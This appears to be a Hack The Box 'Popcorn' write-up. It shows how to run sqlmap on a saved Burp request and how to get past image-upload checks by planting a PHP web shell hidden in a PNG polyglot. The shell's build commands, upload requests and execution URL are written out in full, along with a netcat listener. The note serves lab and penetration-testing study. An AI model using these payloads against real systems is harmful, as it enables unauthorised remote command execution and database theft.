Hack The Box Popcorn
Hack The Box Popcorn: Two quick techniques I want at my fingertips: 1) Reuse a saved Burp request (.req) directly with sqlmap for fast, faithful SQLi testing. 2) Bypass naive image-only upload checks (MIME/extension) by sending valid image data while embedding/executing PHP (polyglot / base64 JSON APIs), and verify the payload locally. • HackTheBox • sqlmap
🎯 Objective
Two quick techniques I want at my fingertips:
- Reuse a saved Burp request (
*.req) directly withsqlmapfor fast, faithful SQLi testing. - Bypass naive image-only upload checks (MIME/extension) by sending valid image data while embedding/executing PHP (polyglot / base64 JSON APIs), and verify the payload locally.
🧰 Tools
- Burp Suite (save request as
*.reqfrom Proxy → HTTP history) - sqlmap
- bash/coreutils:
base64,file,printf,xxd - (Optional) exiftool (easy metadata-based polyglots)
- A listener (if your payload calls back), e.g.,
nc -lvnp 1337
🧭 Part A — Reusing a saved Burp request with sqlmap
This keeps all headers/cookies exactly as your browser sent them (Host, Referer, CSRF, etc.), avoiding the errors you get when you try to “rebuild” requests by hand.
1) Save the request from Burp
- Right‑click the target request in Proxy → HTTP history → Save item… →
login.req.
2) Point sqlmap at the file
Minimal run (auto-detects method, data, cookies from the saved request):
sqlmap -r /path/to/login.req --batchTurn the dials up when needed:
# Tighter scope and more power
sqlmap -r login.req -p username,password \ # test only specific parameters (optional)
--level 5 --risk 3 \ # more payloads, more intrusive
--technique=BEUSTQ \ # (optional) restrict/expand techniques
--tamper=space2comment \ # (optional) WAF/filters
--fresh-queries --threads=5Helpful flags when the app is fussy:
# If app needs a proxy or different User-Agent
sqlmap -r login.req --proxy=http://127.0.0.1:8080 --random-agent
# If a token is dynamic, point sqlmap at the name so it can auto-refresh
sqlmap -r login.req --csrf-token=csrf
# If testing only a subset of params or a header
sqlmap -r login.req -p "email" --headers="X-Requested-With: XMLHttpRequest"Tip: If the response is always 200 with similar length, teach sqlmap a failure string (e.g., “Wrong username or password”) via --string to improve inference:
sqlmap -r login.req --string="Wrong username or password"🧭 Part B — Faking “image upload” to smuggle payloads (MIME/extension checks)
Goal: Upload something that passes image checks but still executes PHP later (common when servers only trust Content-Type or file extension, or when a JSON API expects base64 image data).
Path 1 — Multipart form (polyglot PNG+PHP)
- Create a valid 1×1 PNG and append PHP:
# Tiny valid PNG header + IEND + PHP payload appended (still identifies as PNG)
printf '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx^c`\x00\x00\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82<?php system($_GET["cmd"]); ?>' > shell.png.php
file shell.png.php # → PNG image data, ...- Upload via multipart/form-data (Burp Repeater makes this easy). Many naïve filters only check the header /
Content-Type:
POST /upload HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<raw bytes of shell.png.php here>
------x--- If the app stores using extension and the server executes
.phpin that directory, hit:
http(s)://target/uploads/shell.php?cmd=idPath 2 — JSON API that expects base64 image data
If the endpoint wants base64:
base64 -w0 shell.png.php > payload.b64 # single-line base64 for JSONExample request:
POST /api/upload HTTP/1.1
Host: target
Content-Type: application/json
{
"filename": "shell.php",
"mime": "image/png",
"data": "data:image/png;base64,REPLACE_WITH_CONTENTS_OF_payload.b64"
}Local sanity-check the base64 blob before sending:
echo 'REPLACE_WITH_CONTENTS_OF_payload.b64' | base64 -d > out.bin
file out.bin # should still say: PNG image dataVariants:
- Exif trick (metadata):
exiftool -Comment='<?php @system($_GET["cmd"]); ?>' clean.png; mv clean.png shell.php- Double extensions / weird Unicode:
shell.php.pngor homoglyphs sometimes bypass naïve filters (depends on stack).
🧪 Troubleshooting (both parts)
- Tokens / anti-CSRF: Prefer the
-rfile to carry genuine headers/cookies; use--csrf-tokenif named. In uploads, copy the exact request you see in Burp. - Always-200 responses: Supply a known failure string (
--string) to sqlmap; in Burp Intruder use Grep - Match on the failure phrase. - Upload stored but not executing: Confirm path and whether the directory executes PHP. Try a web shell that echoes a marker to verify reachability.
- Server rewrites filename: Inspect the response / storage path; sometimes the server returns a new path (UUID).
- Strict file sniffing: Some stacks validate magic bytes only; keep the PNG header intact before your PHP payload.
- WAFs: Add
--tamperoptions in sqlmap, slow your rate, or use headers/domains exactly as the browser did.
📎 Commands Recap
# sqlmap from a saved Burp request
sqlmap -r login.req --batch
sqlmap -r login.req --level 5 --risk 3 -p username,password --string="Wrong username or password"
# Build & verify a PNG+PHP polyglot, then base64 for JSON
printf '<tiny PNG bytes> <?php system($_GET["cmd"]); ?>' > shell.png.php
file shell.png.php
base64 -w0 shell.png.php > payload.b64
echo '...payload...' | base64 -d > out.bin && file out.bin✅ Takeaways
- Saving
*.reqfrom Burp gives sqlmap perfect parity with your browser’s request (headers, cookies, body). - MIME/extension checks can be weak—polyglot payloads and base64 JSON uploads help you test whether the backend truly validates content.
- Always verify locally with
base64 -dandfilebefore sending, and log clear markers to reduce guesswork during testing.
Pentest use only, with authorization.